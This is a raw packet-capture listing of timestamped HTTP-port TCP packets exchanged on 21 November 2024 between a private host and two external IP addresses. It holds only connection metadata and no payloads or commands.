Nov 21, 2024 14:11:26.157901049 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.158377886 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.158446074 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.158457994 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.158514023 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.158760071 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.158894062 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.159066916 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.159208059 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.159218073 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.159224033 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.159372091 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.159828901 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.159965038 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.159976006 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.160027027 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.160037994 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.160049915 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.160063028 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.160128117 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.160749912 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.160811901 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.160861015 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.160885096 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.160918951 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.160975933 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.161092043 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.161103010 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.161211967 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.161529064 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.161586046 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.161595106 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.161596060 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.161652088 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.162111998 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.162241936 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.162343979 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.162355900 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.162405968 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.162595987 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.162801981 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.163094997 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.163141012 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.163153887 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.163180113 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.163229942 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.163264036 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.163297892 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.163888931 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.163906097 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.163990021 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.164139986 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.164200068 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.164211035 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.164222956 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.164254904 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.164254904 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.164439917 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.164561033 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.164961100 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.165024996 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.165035963 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.165055037 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.165096998 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.165096998 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.165540934 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.165694952 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.165832043 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.165888071 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.165889978 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.165899992 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.165951014 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.165957928 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.165957928 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.166527987 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.166588068 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.166599989 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.166624069 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.166677952 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.166690111 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.166697979 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.166852951 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.167335033 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.167370081 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.167381048 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.167411089 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.167443991 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.167443991 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.167819023 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.167903900 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.168088913 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.168133974 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.168150902 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.168170929 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.168183088 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.168243885 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.168243885 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.168983936 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.169056892 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.169070005 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.169087887 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.169120073 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.169239998 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.169251919 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.169497013 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.169672012 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.169711113 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.169723034 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.169740915 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.169773102 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.170074940 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.170485020 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.170542955 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.170555115 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.170576096 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.170625925 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.170663118 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.170675039 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.170758963 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.171253920 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.171303034 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.171324968 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.171354055 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.171451092 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.171679020 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.171809912 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.171833992 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.172065020 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.172123909 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.172183990 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.172195911 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.172276974 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.172823906 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.172852993 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.172863960 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:26.172930002 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.172930956 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:26.173103094 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.173115015 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.173274994 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.173979998 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.174051046 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.174089909 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.175112009 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.175180912 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.175210953 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.176256895 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.176350117 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.176583052 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.177418947 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.177510023 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.177540064 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.178558111 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.178706884 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.178749084 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.179675102 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.179776907 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.179847002 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.180797100 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.180840969 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.180954933 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.181940079 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.182069063 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.182183981 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.183063030 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.183166027 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.183182955 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.184195995 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.184281111 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.184308052 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.185367107 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.185466051 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.185484886 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.186506987 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.186583996 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.186625004 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.187613010 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.187699080 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.187711000 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.188847065 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.188941002 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.188976049 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.189903975 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.189943075 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.189992905 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.191080093 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.191236019 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.191263914 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.192332983 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.192419052 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.192461967 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.193300962 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.193392992 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.193409920 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.194448948 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.194551945 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.194876909 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.242563009 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.275794983 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.275986910 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.276125908 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.276336908 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.276427984 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.276508093 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.277286053 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.277359009 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.277522087 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.278371096 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.278395891 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.278454065 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.279505014 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.279555082 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.279630899 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.280638933 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.280679941 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.280829906 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.281771898 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.281817913 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.281908035 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.282903910 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.283013105 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.283140898 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.284039021 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.284147978 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.285350084 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.285412073 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.285507917 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.285831928 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.286324024 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.286441088 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.286679983 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.287442923 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.287538052 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.287666082 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.288628101 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.288769960 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.288841009 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.289740086 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.289839029 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.289973974 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.290882111 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.291004896 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.291059971 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.292007923 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.292149067 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.292191029 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.293198109 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.293245077 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.293343067 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.294384003 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.294509888 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.294616938 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.295500994 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.295661926 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.295766115 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.296540976 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.296648979 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.296756983 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.297741890 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.297851086 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.297959089 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.298840046 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.298990011 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.299062967 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.300010920 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.300074100 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.300137997 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.304177046 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.304225922 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.304239988 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.304280043 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.304291964 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.304302931 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.304327965 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.304373026 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.304373026 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.304655075 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.304719925 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.304896116 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.305653095 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.305794001 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.306032896 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.306931019 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.306953907 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.307096004 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.308247089 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.308327913 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.308604002 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.320257902 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.320370913 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.320382118 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.320427895 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.320440054 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.320487976 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.320519924 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.320533037 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.320544004 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.320564032 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.320581913 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.320581913 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.320581913 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.320595026 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.320606947 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.320641041 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.320653915 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.320663929 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.320683002 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.320694923 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.320736885 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.320749044 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.320754051 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.320754051 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.320754051 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.320754051 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.320754051 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.320760012 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.320771933 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.320784092 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.320796967 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.320831060 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.320831060 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.322992086 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.323118925 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.323129892 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.323136091 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.323227882 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.323822975 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.323870897 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.323930025 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.325018883 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.325089931 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.325314045 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.326160908 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.326293945 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.326455116 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.327289104 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.327380896 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.327605009 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:26.328401089 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:26.328542948 CET	80	49903	34.116.198.130	192.168.2.6
